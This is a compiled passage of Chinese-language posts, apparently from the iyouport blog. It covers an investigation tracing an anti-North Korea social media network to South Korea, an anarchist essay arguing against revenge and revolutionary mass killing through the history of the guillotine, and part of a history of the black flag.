但一些标签很有意思，如下图，有俄语、中文和英语：https://cdn-images-1.medium.com/max/1280/1*PZ8kSeRdA0wmCRzJEHvaAg.gif

与此同时，像 Twitter 上的 @Kpop Lover 这样的账户似乎是什么都不做，只是自动转发 @FHRNK 发布的所有内容，以及年轻女性 K-pop 艺术家的照片流。

看来，这项努力旨在将反朝鲜材料投射在画布上，使其更好地吸引英语、中文和俄语世界的主流社交媒体消费。就像仅仅发布朝鲜特定内容的其他帐户一样，网络中的用户名共享与向许多图片添加的非主题标签标识符具有相同的特征。

「图」

「图」

该网络还宣传了一份官方的白宫请愿书—“ 美国众议院立法者应该将朝鲜列为国家恐怖主义支持者 ”—最初被名为“SW”的用户添加到 WhiteHouse. gov 网站。但是，虽然请愿书是由该网络通过一些专门设计的漫画推广的，但它被白宫网站关闭了，“因为它不符合签名要求。”

2016 年10月又多家媒体报道，类似的请求将巴基斯坦作为国家恐怖主义支持者的请愿书也被关闭了，未透露姓名的白宫消息人士告诉记者，由于签名是以欺诈手段收集的。

该网络发布的其他请愿书呼吁结束与朝鲜的所有贸易关系（Change.org、俄罗斯总统请愿网站等）、呼吁美国和欧盟“ 阻止朝鲜发展核武器计划”……虽然未被禁止，但确实只获得了极低的支持率。

「图」

「图」

那个化名为 David John 的人究竟是谁？出于什么原因，该网络在投入大量时间制作反朝鲜图形

漫画、请愿书和博客方面发挥重要作用？该网络的真正基础在哪里？

「图」

「图」

David John 的 Google Plus 帐号与电子邮件地址“ enara13579@gmail.com”相关联，后来通过“ 关于朝鲜的漫画书”网站链接到“ leenara13579@gmail.com ”—另一个别名，用于在 Pinterest 上发布相同的漫画。

虽然 Lee Na-ra（이나라）是韩语里用于女性的名字，但它翻译成英语就是“This Country”。

“David John”发送的信件由本地发送服务器记录，时间大概是在韩国使用的 ＋9 GMT 时区发送，并使用了支持韩文字符输入的键盘组。

「图」

「图」

Image data extracted from multiple graphics, social media outlets, and languages showed it to be produced on a computer with the same software and time zone in South Korea |

可以追踪与该网络相连的多个 **IP** 地址到 **ibVPN——** -一种通过“军用级加密”隐藏用户位置的服务—— 对 FHRNK 组织的维基百科页面进行了少量编辑，找到来自韩国京畿道的韩国电信 IP。

该网络中艺术家和帐户使用的链接共享服务称为 Durl.Me—是由韩国门户网站 Daum 于2011年5月推出的服务。

但该网络应该与官方无关，否则至少可以减少一些英文拼写错误，并且应该投入更多的推广宣传，而不是现在这样发布后置之不理。至此依旧无法确定其属于哪个国家。以上只是一些调查思路，如果您有更深入的思考，欢迎留言与我们探讨。

无疑，朝鲜正在发生变化，一个进化版的专制政权已经显露了轮廓。希望本文提供的素材能为相关研究带来帮助。〇

原文

杀戮无止境：为什么复仇不是一件简单事，以及革命者应该追求什么 - iyouport

无政府主义社会反抗和思考长读

当 "民后杀全家" 和 "张献忠" 开始被嘲讽和质疑时，我们应该从中看到一些希望。

革命成功了！为了维持革命的成果，我们必须杀死所有敌对势力！然后再杀死所有质疑我们的人！然后再杀死所有我们觉得他们可疑的人！然后再杀死所有那些不理解为什么我们不断杀人的人！…… 最后，被杀死的就是我们。

必须是这样的剧本吗？革命必须夺权吗？必须成为那个你曾经的敌人的复制品？是否有其他方案能让我们摆脱这个怪圈？

就在几年前，“杀全家” 和 “挂路灯” 还在流行，当时我们和一些异议人士交流过关于这些词究竟意味着什么，它们是战略目标吗，还是战术的一部分？总的来看，可能都有。

一些人认为喊出这些口号可以让敌人因害怕而停止作恶，所以它是战术的一部分；另一些人认为这些话可以激励我们的队友，那些遭受迫害最为深重的人们，“让他们看到希望”。

很遗憾，这些都不切实际。对于前者，敌人不会因为害怕被 “杀全家” 而停止作恶，相反，这只会让他们更加竭尽全力去阻止变革。对于后者，真正能激励队友的是一个有生命力的可持续的革命愿景，是实现让人民获得幸福的承诺，而不是延续旧系统的等级制和胁迫性武力。

对每一位遭受过迫害的人来说，报复都是毫不过分的。但对革命来说，事情没有这么简单。

为什么巴黎公社焚烧了断头台？为什么我们也应该这样做

「图」

1871年4月6日，革命的巴黎公社的武装参与者夺取了存放在巴黎监狱附近的断头台。他们把它带到了伏尔泰雕像的脚下，在那里把它砸成了碎片，并在篝火中烧掉，赢得了无数人的掌声。

这是一次来自基层的民众行动，而不是由任何政客协调的场面。当时，公社控制着巴黎，而巴黎仍然居住着各个阶层的人；法国和普鲁士的军队包围了这座城市，并准备入侵，以强加阿道夫·梯也尔的保守派政府。在这种情况下，焚烧断头台是一种勇敢的姿态，它否定了恐怖统治和通过屠杀人民来实现积极社会变革的想法。

> “什么？”你震惊地说，“共产党人烧了断头台？他们究竟为什么要这样做？我以为断头台是解放的象征！”

断头台已经占据了人们的集体想象力。在社会的裂痕正向内战扩大的时候，它代表着毫不妥协的血腥复仇。它代表了这样一种想法：只要有合适的人负责，国家的暴力就会是一件好事。

那些认为自己无能为力是理所当然的人认为，他们可以宣扬可怕的复仇幻想而不承担后果。但是，如果我们真的要改变世界，我们就有责任确保我们的建议不会同样可怕。

华盛顿西雅图的一张海报。引文来自 **Karl Marx**

你可以在这里打印这篇文章的杂志版本。

复仇

「图」

今天，人们想要血腥的复仇这并不令人惊讶。资本主义的暴利正在迅速使地球变得不适合居住；边境巡逻队正在绑架、毒害和囚禁儿童；种族主义和厌女症的个人暴力行为越来越频繁地发生 …… 对许多人来说，日常生活越来越具有羞辱性和无权性。

那些没有复仇欲望的人，因为他们没有足够的同情心无法对不公正现象感到愤怒，或者因为他们根本没有注意到这一点，所以不值得赞扬。无动于衷的“美德”并不如最严重的过度报复行为。

我想向那些杀人不眨眼的警察，向那些靠剥削和城市化套现的亿万富翁、向那些骚扰和污蔑别人的偏执狂们复仇吗？是的，我当然愿意。

他们杀害了我认识的人；他们正试图摧毁我所爱的一切。当我想到他们所造成的伤害时，我感到已经准备好打碎他们的骨头、徒手杀死他们。

但是，这种愿望与我的政治不同。我可以想要一些东西，而不需要为它反向设计一个政治理由。我可以想要某样东西而选择不追求它，如果我更想要其他更多的东西的话 —— 在这种情况下，是一个不以复仇为基础的无政府主义革命。我不会因为其他人想要复仇而评判他们，特别是如果他们所经历的比我更糟糕。但我也不会把这种愿望与解放的建议混为一谈。

如果我描述的那种嗜血的欲望让你感到害怕，或者如果它只是看起来不体面，那么你绝对没有资格开玩笑说让别人去代表你进行工业化谋杀。

因为这正是对断头台的幻想的与众不同之处：它完全是关于效率和距离的。那些迷恋断头台的人并不想徒手杀人；他们并没有准备用自己的牙齿撕开任何人的肉。他们想让自己的复仇自动化执行。他们就像那些轻率地吃着麦乐鸡的消费者，但绝不会亲自去屠宰一头牛或砍伐一片雨林。他们更喜欢按照雅各宾派和布尔什维克在模仿资本主义国家的非个人化运作中树立的榜样，有条不紊地发生流血事件，所有文书填写妥当。

还有一件事：他们不希望必须为之负责。他们更愿意以讽刺的方式表达他们的幻想，保留似是而非的推诿。然而，任何曾经积极参加过社会动荡的人都知道，幻想和现实之间的界限是多么狭窄。

让我们看看断头台在过去扮演的 “革命” 角色。

> “但复仇不值得一个无政府主义者去做! 黎明，我们的黎明，无争吵，不犯罪，无谎言；它肯定生命、爱、和知识；我们努力加快这一天。”

断头台的简史

「图」

断头台与激进政治联系在一起，因为它在最初的法国大革命中被用来在1793年1月21日将君主路易十六斩首，那是在他被捕几个月后。但是，一旦你打开了灭绝性力量的潘多拉盒子，就很难再关上它了。

马克西米连·德·罗伯斯庇尔（Maximilien de Robespierre）在开始使用断头台作为社会变革的工具时，曾是雅各宾俱乐部的主席，他继续使用断头台为他的政府派系巩固权力。按照煽动者的惯例，罗伯斯庇尔、乔治·丹东和其他激进分子利用无产阶级（sans-culottes），即 愤怒的穷人的帮助，在1793年6月推翻了更温和的派别—— 吉隆德派。(吉隆德派也是雅各宾派；如果你爱一个雅各宾派，你能为他做的最好的事情就是阻止他的政党上台，因为他肯定会在你之后被毙）。在将吉隆德派集体送上断头台后，罗伯斯庇尔开始以牺牲丹东、无党派人士和其他人的利益为代价巩固权力。

> “革命政府与无政府状态毫无共同之处。相反，前者的目标是压制后者，以确保和巩固法治”。

到1794年初，罗伯斯庇尔和他的盟友已经把许多至少和他们一样激进的人送上了断头台，包括阿纳克萨戈拉·肖梅特和所谓的忿激派，雅克·赫伯特和所谓的赫伯特派，原女权主义者和废奴主义者奥兰普·德古热，卡米耶·德穆兰（Camille Desmoulins）（他曾胆敢向他的童年朋友罗伯斯庇尔建议 “爱比恐惧更强大、更持久”）—— 还有德穆兰的妻子，以备不时之需，尽管她的姐姐曾是罗伯斯庇尔的未婚妻。他们还安排将乔治·丹东和丹东的支持者以及其他各种前盟友送上了断头台。为了庆祝所有这些流血事件，罗伯斯庇尔组织了 “最高主宰崇拜 (Cult of the Supreme Being)”，这是一个强制性的公开仪式，为一个被发明出来的国家宗教揭幕。“Here lies all of France/ 这里是整个法国” ~ 在这部政治漫画中，罗伯斯庇尔身后墓碑上的铭文提到了他帮助安排的所有处决。

此后，仅过了一个半月，罗伯斯庇尔本人就被送上了断头台，因为他消灭了太多可能与他一起对抗反革命的人。这为反动时期奠定了基础，最终拿破仑·波拿巴夺取了政权并自封为皇帝。根据法国共和历（这一创新没有流行起来，但在巴黎公社期间被短暂地重新采用），罗伯斯庇尔的处决发生在热月 (Thermidor)。因此，Thermidor 这个名字永远与反革命的爆发联系在一起。

> “罗伯斯庇尔用三记重拳杀死了革命：处决赫伯特、处决丹东、

但把注意力放在罗伯斯庇尔身上是个错误。罗伯斯庇尔本人并不是一个超级暴君。充其量，他可以说是一个热心的党政官僚，担任了无数革命者争相争夺的角色，如果他不这样做，也会有另一个人扮演这个角色。问题是系统性的—— 是对中央独裁权力的竞争，而不是个人的错误行为。

1793–1795年的悲剧证实，无论你用什么工具来发动革命，肯定都会被用来对付你。但问题不只是工具，而是它背后的逻辑。与其妖魔化罗伯斯庇尔—— 或者列宁、或斯大林、或波尔布特 —— 我们还必需研究断头台的逻辑。

在某种程度上，我们可以理解为什么罗伯斯庇尔和他同时代的人最终依靠大规模谋杀作为一种政治工具。他们受到外国军事入侵、内部阴谋和反革命起义的威胁；他们是在一个极度紧张的环境中做出决定的。但是，如果可以理解他们是如何接受断头台的，就不可能说所有的杀戮都是为了确保他们的地位所必需的。他们自己的处决足以反驳这种说法。

同样，想象断头台主要是用来对付统治阶级的，甚至在雅各宾派统治的高峰期也是错误的。作为完美的官僚，雅各宾派保留了详细的记录。从1793年6月到1794年7月底，法国有16594人被正式判处死刑，包括巴黎的2639人。在恐怖时期通过的正式死刑判决中，只有 **8%** 是分配给贵族的，**6%** 是分配给神职人员的；其余的全部都是中产阶级和穷人，绝大多数受害者来自下层阶级。处决罗伯斯庇尔和他的同事的画面。罗伯斯庇尔由数字 10 标识；他坐在手推车里，嘴里含着一条手帕。

在第一次法国革命中上演的故事并不是一种侥幸。半个世纪后，1848年的法国革命也遵循了类似的轨迹。2月，一场由愤怒的穷人领导的革命给了共和政客们以国家权力；6月，当新政府治下的生活被证明比国王治下的生活好不了多少时，巴黎人民再次起义，政客们以 “革命” 的名义命令军队屠杀他们。这为拿破仑的侄子赢得1848年12月的总统选举奠定了基础，他承诺 “恢复秩序”。三年后，拿破仑三世在流放了所有的共和政客后，废除了共和国，并自封为皇帝—— 这就引发了马克思的著名调侃：历史会重演，“第一次是悲剧，第二次是闹剧”。

同样，在1870年的法国革命使阿道夫·梯也尔上台后，他无情地屠杀了巴黎公社，但这只是为更多的反动政客在1873年取代他铺平了道路。在这三个案例中都可以我们看到一心想要掌握国家权力的革命者必须接受断头台的逻辑来获得权力，然后为了巩固控制权，残酷地镇压了其他革命者，而最后又不可避免地被更多的反动势力所打败。

在20世纪，列宁将罗伯斯庇尔描述为前卫的布尔什维克，肯定了恐怖是布尔什维克计划的前景。列宁并不是唯一进行这种比较的人。

布尔什维克的辩护人维克托·塞尔日 (Victor Serge)回忆说，列宁在准

备屠杀喀琅施塔得的叛乱者时宣称："我们将成为我们自己的热月/Thermidor"。换句话说，在粉碎了无政府主义者和左翼的所有人后，布尔什维克将通过亲自成为反革命而在反动中生存下来。他们已经在红军中重新引入了固定的等级制度，以便招募前沙皇军官加入红军；在战胜喀琅施塔得反叛的同时，他们重新引入了自由市场和资本主义，尽管是在国家控制之下。最终，斯大林占据了曾经由拿破仑占据的位置。

所以断头台不是解放的工具。这一点在1795年就已经很清楚了，比布尔什维克发起他们自己的恐怖行动早了一个多世纪，比红色高棉灭绝柬埔寨几乎四分之一的人口早了近两个世纪。

那么，为什么断头台会重新成为抵抗暴政的象征呢？这个问题的答案将告诉我们一些关于我们这个时代的心理学。

"我们不是在报仇"

在这里可打印这张海报

对国家暴力的迷恋

「图」

令人震惊的是，即使在今天，激进分子还是会把自己与雅各宾派联系在一起，这种倾向在1793年底就已经很反动了。但解释起来并不难。当时和现在一样，有些人想把自己当成激进分子，而不必真正与他们所熟悉的机构和做法进行彻底决裂。正如马克思所说，"所有死去的世代的传统都像噩梦一样压在活着的人的脑子里"。

如果使用马克斯·韦伯的著名定义—— 一个有抱负的政府通过实现对特定领土内合法使用武力的垄断而有资格代表"国家"，那么它可以证明其主权的最有说服力的方式之一就是不受惩罚地挥舞致命的武力。这就解释了为什么有各种报道说，在法国大革命期间，公开斩首被视为节日庆典甚至是宗教仪式。在大革命之前，斩首是对君主神圣权威的肯定；在大革命期间，当共和国的代表主持处决时，这证实了他们拥有主权，当然是以人民的名义。罗伯斯庇尔宣称："路易必须死，国家才能活"，他试图通过用以前的社会秩序的鲜血来洗礼资产阶级民族主义的诞生，使其神圣化。一旦共和国在这些基础上成立，它就需要不断的牺牲来确认其权威。

在这里，我们看到了国家的本质：它可以杀人，但它不能赋予生命。

作为政治合法性和强制力的集中体现，它可以造成伤害，但它不能建立个人在相互支持的社区中所体验到的那种积极自由。它不能创造出人与人之间和谐的那种团结。我们利用国家对别人做什么，别人也可以利用国家对我们做什么—— 正如罗伯斯庇尔所经历的那样—— 但没有人可以利用国家的强制机器来实现解放的事业。

对激进分子来说，迷恋断头台就像迷恋国家一样：它意味着庆祝一种将永远被用来对付我们的谋杀工具。

那些被剥夺了自身能动性的人，往往会四处寻找一个可以认同的代理人—— 一个领导者，其暴力可以代替他们实施因自身无能为力而渴望的报复。在特朗普时代，你可以很清楚地看到那些被剥夺了权利的极右政治支持者所表现出的样子就是这种情况。但在左派中也有人感到无力和愤怒，他们渴望复仇，希望看到压垮他们的国家转向反对他们的敌人。

提醒

现在，苏联已经解体30年了，加之很难从被剥削的中国工人阶级那里得到第一手资料，许多北美人往往把专制社会主义当作一个完全抽象的概念，就像断头台上的大规模处决一样远离他们自己的生活经验。他们不仅渴望复仇，还渴望有一个神来之笔将他们从资本主义的噩梦和自己创造替代方案的责任中拯救出来，他们将专制国家想象成一个可以代表他们“战斗”的冠军。回顾乔治·奥威尔在他的文章《鲸鱼内部》中对1930年代安逸的英国斯大林主义作家的评价：

> “对这种人来说，诸如清洗、秘密警察、即决处决、未经审判的监禁等等，都太遥远了，不值得害怕。他们可以吞下极权主义，因为除了自由主义，他们没有任何经验。”

惩罚有罪之人

「图」

“相信那些不以血流成河为特征的愿景”。

总的来说，我们往往更清楚他人对我们犯下的错误，而不是我们对他人犯下的错误。当我们觉得自己受到的委屈最多时，就是最危险的状态，因为那种情况下的我们觉得自己最有资格做出判断，有资格变得残忍。我们越是觉得自己有理，就越应该小心谨慎，不要复制司法行

业的模式、监狱国家的假设、断头台的逻辑。同样，这并不是为不作为辩护；这只是说，当我们感到自己最正义的时候，我们必须最谨慎地行事，以免我们承担起压迫者的角色。

当我们把自己看作是与特定的人而不是社会现象作斗争时，就更难认识到我们自己参与这些现象的方式。我们把问题外化为我们自己以外的东西了，把它人格化为一个可以被牺牲的敌人，以象征性地清洗我们自己。然而，我们对最坏的人所做的事最终也会复制到我们和其他人身上。

作为复仇的象征，断头台诱使我们想象自己站在审判台上，用恶人的鲜血涂抹。基督教的公义和诅咒的经济学对这一场景至关重要。相反，如果我们用它来象征什么，断头台应该提醒我们自己成为我们所憎恶的东西的危险。最好的事情是能够在没有仇恨的情况下战斗，出于对人类巨大潜力的乐观信念。

[[

「图」

iyouport

来稿：从徐州丰县到北京奥运，问错了问题，比找不到答案，更糟糕 - 献给2022情人节

感谢来稿。IYP祝福所有懂爱的人们都能获得并运用爱真正的力量。 当大多数人都在谈论徐州丰县的时候，我却没有，我在和朋友们讨论相亲热的社会现象。 正如我的朋友所言：“相亲市场里什么都有，唯独没有爱”。但毫无疑问，每个人都想要爱，想要被理解和信任。就如IYP所言，爱是最强大的战斗力，是让你能在这个压力山大的社会环境中生存下来的勇气和信心。 但是，为什么如此多人放弃了对爱的渴求，转而去依赖物质财富所营造的虚幻的 “安全感”？如你所知，资金链会断裂，泡沫会崩溃，甚至政策都会朝令夕改，更不用说你赚到的钱随时会被政府的税收再抢走、你买的房子随时可能被强拆和征用 …… 换句话说，…

Read more

3 years ago · 25 likes · 4 comments · iyouport

|https://iyouport.substack.com/p/ce5?utm_source=substack&utm_campaign=post_embed&utm_mediun

通常，能够不再憎恨一个人所需要的是成功地使他无法对你构成任何形式的威胁。当一个人已经在你的势力范围内时，杀死他是可鄙的。这是任何革命的关键时刻，是革命者有机会进行无偿报复的时刻，是消灭而不是简单地打败的时刻。如果他们没有通过这一考验，他们的胜利将比任何失败都更令人羞愧。

任何人对今天统治和惩治我们的人所能施加的最高等的惩罚就是迫使他们生活在一个他们所做的一切都被视为尴尬的社会中—— 他们不得不坐在没有人听他们说话的集会中，在充分意识到他们所施加的伤害的情况下，继续生活在我们中间而没有任何特权。如果说我们可以幻想什么的话，那就让我们幻想使我们的运动变得如此强大，以至于我们几乎不需要杀死任何人就可以推翻国家和废除资本主义。这更符合我们作为解放党人的尊严。

我们有可能通过一切必要的手段致力于革命斗争，而不以生命为代价。我们有可能摒弃和平主义的神圣道义，而不会因此产生对血的愤世嫉俗的欲望。我们需要发展使用武力的能力，而不要把对他人的权力误认为是我们的真正目标，也就是为所有人的自由创造共同的条件。

> “人类可以从复仇中得到救赎：对我来说，这是通向最高希望的桥梁，是暴风雨后的彩虹。”

1871 年 4 月 6 日，公社社员在巴黎伏尔泰雕像脚下焚烧断头台—作为“君主统治的奴隶”。

取代断头台

「图」

当然，在我们成功地使压迫者无法从压迫我们中获益之前，诉诸压迫者更好的本性是毫无意义的。问题是如何实现这一目标。

雅各宾派的辩护者会抗议说，在当时的情况下，为了推进革命事业，至少需要一些流血。实际上，历史上所有的革命大屠杀都是以必要性为理由的—— 人们总是这样为大屠杀辩护。即使一些放血是必要的，这仍然不是培养嗜血和权利作为革命价值观的借口。如果我们希望在别无选择的情况下负责任地使用强制力，我们应该培养对强制力的厌恶。

大规模杀戮是否曾帮助我们推进革命事业？当然，无政府主义者实施

的相对较少的处决—— 如西班牙内战期间对亲法西斯教士的杀戮——使我们的敌人能够以最坏的方式描述我们，即使他们自己要对一万倍的谋杀负责。历史上的反动派总是虚情假意地对革命者采取双标，原谅国家对平民的百万级谋杀，却对反叛者打破一扇窗户都要追究责任。问题并不在于某种战术是否使我们更受欢迎，而在于它们在解放计划中是否有一席之地。如果我们寻求改造而不是征服，我们就应该按照与我们所面对的警察和军队截然不同的逻辑来评价我们的胜利。

这不是一个反对使用武力的论点。相反，这是一个关于如何在不创造新的等级制度和新的系统性压迫形式的情况下使用武力的问题。革命暴力的分类

断头台的形象是对那种能够利用这种特殊工具的专制组织的宣传。每种工具都意味着使用它所需的社会组织形式。Class War 作者伊恩·博恩 (Ian Bone)在他的回忆录《Bash the Rich》中引用了愤怒旅成员 John Barker 的话，大意是："汽油弹远比炸药更民主"，这表明我们应该从它如何构建权力的角度来分析每一种抵抗工具。阿尔弗雷多·博纳诺（Alfredo Bonanno）和其他起义者在批评1970年代意大利等级森严的专制团体所采用的武装斗争模式时强调，只有通过横向的、分散化的、参与性的抵抗方式才能实现解放。

> "单靠断头台是不可能实现革命的。复仇是权力的前厅。任何想要报仇的人都需要一个领袖。一个带领他们走向胜利并恢复受伤的正义的领袖"。

在一起，暴动的人群可以保卫一个自治区域，或者对当局施加压力，而不需要等级制的集中化领导。当这变得不可能时—— 当社会已经分裂成两个完全准备好通过军事手段屠杀对方的不同阵营时，就不能再谈论革命了，而只能谈论战争。革命的前提是，颠覆可以跨越敌意的界限，颠覆固定的立场，破坏支撑权威的忠诚和假设。我们绝不应该急于从革命的发酵过渡到战争。这样做通常会扼杀各种可能性，而不是扩大它们。

作为一种工具，断头台理所当然地认为不可能改变一个人与敌人的关系，只能废除他们。更重要的是，断头台假定受害者已经完全在使用它的人的权力范围之内。与我们看到的人民在人民起义中克服巨大困难取得的集体勇气的壮举相比，断头台是一种懦夫的武器。

通过拒绝全盘屠杀我们的敌人，我们为他们有朝一日加入我们改造世界的项目提供了可能性。自卫是必要的，但只要有可能，我们就应该冒着风险让我们的对手活着。否则，我们就不会比他们中最坏的家伙

更好。从军事角度来看，这是一个障碍；但如果我们真正渴望革命，这是唯一的途径。

> “断头台是法律的具体化……它不是中立的，也不允许你保持中立。看到它的每个人都会颤抖，神秘地被震慑到核心。所有的社会问题都在那把刀的周围打上了问号”。

解放，而不是消灭

「图」

> “给多数受压迫者以希望，给少数压迫者以恐惧，这是我们要做的事；如果我们做了第一件事，给许多人以希望，那么少数人就必须被多数人的希望所吓倒。否则，我们不想吓唬他们；

所以我们否定了断头台的逻辑。我们不想消灭我们的敌人。我们不认为创造和谐的方法是把所有不认同我们意识形态的人从世界上删除。我们的愿景是一个可以容纳许多世界的世界，正如马科斯（**Subcomandante Marcos**）所说—— 在这个世界上，唯一不可能的是统治和压迫。

无政府主义是对每个人的建议，关于我们如何去改善我们的生活——工人和失业者，所有种族和性别的人，以及国籍或没有国籍的人。无政府主义的提议并不符合目前存在的一个群体对抗另一个群体的利益：它并不是以牺牲富人的利益来丰富穷人的生活，也不是以牺牲其他人的利益来赋予一个民族、国籍或宗教以权力。所有那些用来将人分类的“利益”都是现行秩序的产物，必须与它一起转变，而不是保留或迎合。

从我们的角度来看，即使是现有秩序中可获得的最顶级的财富和权力职位也都是毫无价值的。资本主义和国家所能提供的一切对我们来说都没有任何价值。我们提出无政府主义革命，理由是它可以最终满足现行社会秩序永远无法满足的渴望：渴望能够养活自己和自己的亲人，而不以牺牲别人的利益为代价；渴望因自己的创造力能力和性格特征而受到重视，而不是因自己能创造多少利润；渴望围绕深刻带来的快乐而不是根据竞争的要求来安排自己的生活。

我们建议，如果我们不被迫在政治和经济的零和游戏中争夺权力和资源，那么现在活着的每个人都可以过得很好，即使不是很好，至少也

会更好。

反犹主义者和其他偏执者总是把敌人描述成一种类型的人，把他们所害怕的一切都人格化为他者；我们截然不同，我们的对手不是一种人，而是将人与人之间的对立作为政治和经济的基本模式的社会关系形式。废除统治阶级并不意味着将目前拥有游艇或阁楼的所有人送上断头台；它意味着使任何人都不可能系统地对其他人行使胁迫性权力。只要胁迫性权力变得不可能，就不会有超豪华游艇或豪宅长期空置。

至于我们的直接对手—— 那些决心不惜一切代价维持现行秩序的特定人类—— 我们渴望打败他们，而不是消灭他们。无论他们看起来多么自私和贪婪，至少他们的一些价值观与我们相似，而他们的大多数错误与我们自己的错误一样，都来自于他们的恐惧和弱点。在许多情况下，他们反对左翼的提议，正是因为这些提议中的内在矛盾之处—— 例如，通过暴力胁迫的手段来实现人类的友谊的想法。

即使在我们与对手进行激烈的肉体斗争时，我们也应该对他们的潜力保持深刻的信心，因为我们希望有一天能与他们建立不同的关系。作为有抱负的革命者，这种希望是我们最宝贵的资源，是我们一切工作的基础。如果革命变革要在整个社会和世界范围内传播，我们今天与之战斗的人明天就必须与我们并肩战斗。我们并不宣扬刀枪不入，也不想象我们会在某个抽象的思想市场上说服我们的对手；相反，我们的目标是打断资本主义和国家目前自我复制的方式，同时以包容和感染的方式展示我们的替代方案的优点。要实现持久的变革，没有捷径可走。

正因为在我们与现行秩序的捍卫者的冲突中有时必须使用武力，所以特别重要的是，我们永远不要忽视我们的愿望、我们的同情心、和我们的乐观主义。当我们被迫使用胁迫性武力时，唯一可能的理由是：这是为每个人—— 包括我们的敌人，或至少是他们的孩子—— 创造一个更好的世界的必要步骤。否则，我们有可能成为下一个雅各宾派，下一个革命的破坏者。

> “我们唯一可能的真正报复是通过我们自己的努力使自己获得幸福。”

伏尔泰在巴黎公社期间为焚烧断头台鼓掌。

附录：被砍头的人

「图」

断头台的职业生涯并没有随着第一次法国大革命的结束而结束，也没有在巴黎公社期间被完全烧毁。事实上，它在法国一直被用作国家执行死刑的一种手段，直到1977年。法国最后被送上断头台的妇女之一是因提供堕胎服务而被处决的。纳粹在1933年至1945年期间将大约16,500人送上断头台—— 与法国恐怖时期被杀的人数相同。

被送上断头台的受害者几例：

拉瓦乔尔（弗朗索瓦·克劳迪乌斯·科尼格斯坦 FrançoisClaudius Koenigstein），无政府主义者

奥古斯特·瓦扬特（Auguste Vaillant），无政府主义者

埃米尔·亨利，无政府主义者

圣杰罗尼莫·卡塞里奥（Sante Geronimo Caserio），无政府主义者

雷蒙·凯勒明（Raymond Caillemin）、艾蒂安·莫尼尔（Étienne Monier）和安德烈·苏迪（André Soudy），都是所谓的邦诺帮的无政府主义者参与者

Mécislas Charrier, 无政府主义者

菲利斯·奥西尼 (Felice Orsini)，意大利革命家，试图刺杀拿破仑三世

汉斯和索菲·肖尔、以及克里斯托夫·普罗布斯特—— 活跃在慕尼黑的地下反纳粹青年组织 Die Weisse Rose 的成员，1942–1943年。埃米尔·亨利

圣杰罗尼莫·卡塞里奥（Sante Geronimo Caserio）

雷蒙·凯勒明（Raymond Caillemin）、艾蒂安·莫尼尔（Étienne Monier）和安德烈·苏迪（André Soudy）

汉斯和索菲·肖尔、以及克里斯托夫·普罗布斯特

> “我是一名无政府主义者。我们在芝加哥被绞死，在纽约被电死，在巴黎被送上断头台，在意大利被勒死，而我与我的同志们义无反顾。我反对你们的政府，反对你们的权威。打倒他们。竭尽全力。无政府

主义万岁。”

延伸阅读：

The Guillotine At Work, GP Maximoff

I Know Who Killed Chief Superintendent Luigi Calabresi, Alfredo M. Bonanno

Critique’s Quarrel with Church and State, Edgar Bauer

○□

原文

每一面旗帜在烈火中都是黑色的 - iyouport

反抗者-寻求经验社会反抗和思考长读

黑旗：反叛、否定和希望的象徵

在以下各节中，来自过去一个半世纪的作家和艺术家们反思了黑旗的含义，即 反叛和否定的无政府主义标准。

> 记者："这里有一些人，在四处游荡 …… 嗯，不完全是在游荡，他们看起来很有条理。 我不知道他们是谁，他们全都一身黑衣，戴着黑兜帽，还有黑旗 ……上面什么都没有。"

蒂娜·莫多蒂（Tina Modotti），"手举旗帜的女人"—— 1928年在墨西哥城拍摄，"举着无政府主义-工团主义黑旗" 的女性。

1880 年 11 月，五十岁的教师兼警察杀手，路易丝·米歇尔 (Louise Michel)（注1），结束了因参加 1871 年革命的巴黎公社而被迫在南太平洋的长期流放后返回法国。被流放期间，她已经成熟为彻底的无政府主义者，反对一切形式的等级制度和压迫。回到法国，她立即投身巴黎的激进组织。

根据莫里斯·多曼盖特的说法（注2），路易丝·米歇尔是最早宣布将黑旗作为无政府主义运动标志的人之一—— 尽管在下文中，我们将看到证据表明，此前不知名的劳工已经在里昂和其他地方使用了黑旗多年。 1883 年 3 月 9 日，路易丝·米歇尔在失业和绝望的示威游行中使用黑色衬裙作为旗帜，期间参与者洗劫了多家面包店。 9 天后，也就是 3 月 18 日，巴黎公社爆发十二周年之际，她在巴黎贫穷的贝尔维尔社区的激进派俱乐部 Salle Favié 发表演讲：

> "不要再让我们战士用鲜血浸染红旗。我将举起黑旗，为我们的死难者和我们的幻觉哀悼。"

1883 年 6 月 22 日，米歇尔因前三月的示威而受审。"我们为什么要在黑旗下游行？" 她在法庭上讲话："因为这面旗帜是罢工的旗帜，

它象征着工人没有面包。”

法院判处路易丝·米歇尔六年徒刑，罪名是 “没有采取任何措施阻止抢劫”。1883 年 3 月 9 日的报纸报道，路易丝·米歇尔 (Louise Michel) 在一场喧闹的示威活动中。

《黑旗》报 (Le Drapeau Noir)：反对所有法律、法典、法官和警察

「图」

1883 年 8 月 12 日，路易丝·米歇尔在巴黎受审后不久，法国里昂出现了一份新的无政府主义报纸，名为 Le Drapeau Noir（黑旗）。黑旗报以该名称仅发行了 17 期，随后为了躲避国家的镇压和审查，它被迫不断地更名，例如社会责任、革命标准、斗争、暴动、挑战、无政府主义九头蛇、警报、和无政府责任 等等。

在该报的第一篇题为 “黑旗为首：致无政府主义者” 的文章中，编辑们阐述了他们的愿望：

> “当我们为我们的报纸取名为 ‘黑旗’ 时，是否需要一个规划？我们不是已经表明了我们的行动方针吗？这个名称受到了里昂市当地历史的启发，因为在饥饿的驱使下，工人们在克罗瓦-鲁斯和瓦斯的高处第一次展示了黑旗，作为哀悼和复仇的标志，象征着社会要求。因此，

在第二篇文章中，编辑们继续阐明了他们钟爱黑旗的原因：

> “事件、日常的事实，早已清楚地表明，红旗已经光荣退场，如果胜利了，它的光芒很可能会

《黑旗》创刊号，1883 年 8 月 12 日。

《警报》：饥饿的象征

「图」

根据无政府主义报纸《警报》(The Alarm) 所记录的，美国的无政府主义者在 1884 年 11 月 27 日的感恩节举行了第一次举起黑旗游行，明确要求强制废除财产和雇佣劳动。

以下引文摘自该报 1884 年 11 月 29 日的一篇题为“黑旗：芝加哥无产阶级的饥饿象征”的文章（注3）：

> “预定的日子， 11 月 27 日星期四，示威在雨夹雪的天气中开始了。 劲风刺耳而冰冷，在裸露的脸或手上留下刺痛之感。 在宣布的下午 2 点 30 分，超过三千人聚集在麦迪逊和伦道夫之间的市场街上。 雨雪夹杂着落下，地面满是泥泞和水。 恶劣的天气衬映出人们顽强的精神，没人被吓倒。

第一位发言者宣布这次示威是“为人类利益而聚集的一群人”，并对资本主义进行了批判：

